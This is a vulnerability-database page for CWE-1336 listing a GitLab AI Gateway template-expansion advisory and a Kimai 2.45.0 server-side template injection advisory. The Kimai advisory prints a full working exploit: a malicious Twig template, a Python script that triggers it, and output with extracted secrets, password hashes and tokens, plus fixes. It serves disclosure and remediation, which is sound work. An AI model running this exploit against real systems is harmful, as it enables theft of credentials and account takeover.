Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

401 vulnerabilities reference this CWE, most recent first.

GHSA-JFR3-CR47-9VQQ

Vulnerability from github – Published: 2026-02-09 09:30 – Updated: 2026-02-09 09:30
VLAI
Details

GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-09T07:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.",
  "id": "GHSA-jfr3-cr47-9vqq",
  "modified": "2026-02-09T09:30:21Z",
  "published": "2026-02-09T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1868"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/02/06/patch-release-gitlab-ai-gateway-18-8-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/work_items/1850"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JG2J-2W24-54CG

Vulnerability from github – Published: 2026-01-20 17:07 – Updated: 2026-01-20 17:07
VLAI
Summary
Kimai has an Authenticated Server-Side Template Injection (SSTI)
Details

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

Field Value
Title Authenticated SSTI via Permissive Export Template Sandbox
Attack Complexity Low
Privileges Required High (Admin with export permissions and server access)
User Interaction None
Impact Confidentiality: HIGH (Credential/Secret Extraction)
Affected Versions Kimai 2.45.0 (likely earlier versions)
Tested On Docker: kimai/kimai2:apache-2.45.0
Discovery Date 2026-01-05

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.


Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APP_SECRET, DATABASE_URL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
  3. Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png: screenshot_users

User Role Hash Extracted
admin ROLE_SUPER_ADMIN ✅ Yes
lowpriv ROLE_USER ✅ Yes

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like: - app.request.server.get("APP_SECRET") - Environment variable access - app.session.get("_security_secured_area") - Session data access - entry.user.password - Password hash access


Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

File Description
kimai_extracted_data.pdf PDF containing all extracted sensitive data

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

Error Message Cause Solution
Cannot connect to <url> Target unreachable Check URL and network
Authentication failed Wrong credentials Verify username/password
Template not found Template not deployed Deploy template first (Step 1)
Access denied Insufficient permissions Use admin account with export perms
pdftotext not installed Missing tool Run apt install poppler-utils

Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password

    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")

        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")

        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")

        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")

        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")

        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )

        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")

        print(f"[+] Successfully authenticated as {self.username}")
        return True

    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")

        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")

        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")

        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")

        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")

        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")

        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content

    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)

        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }

        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()

            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()

            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()

            if "$2y$" in line:
                findings["password_hashes"].append(line)

            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"

            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)

        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()

    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"

    exploit = KimaiSSTIExploit(target, username, password)

    try:
        # Step 1: Authenticate
        exploit.login()

        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)

        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")

        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")

            # Parse findings
            findings = exploit.parse_findings(text)

            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)

            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")

            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")

            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")

            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")

            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")

        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0

    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

Extracted Data Security Impact
APP_SECRET Can forge Symfony login links to access ANY user account
DATABASE_URL Direct database connection credentials exposed
Password Hashes Offline password cracking possible (bcrypt)
Session Tokens Session structure analysis, potential replay attacks
CSRF Tokens Bypass CSRF protection for subsequent attacks

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user's account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }

  2. Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }

  3. Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }


Reported by: Mahammad Huseynkhanli

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.46.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:07:13Z",
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "severity": "MODERATE"
  },
  "details": "# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai\u0027s export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | \u2705 Yes |\n| lowpriv | ROLE_USER | \u2705 Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c \u0027cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n    \u003cstyle\u003e\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE\u0027\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected 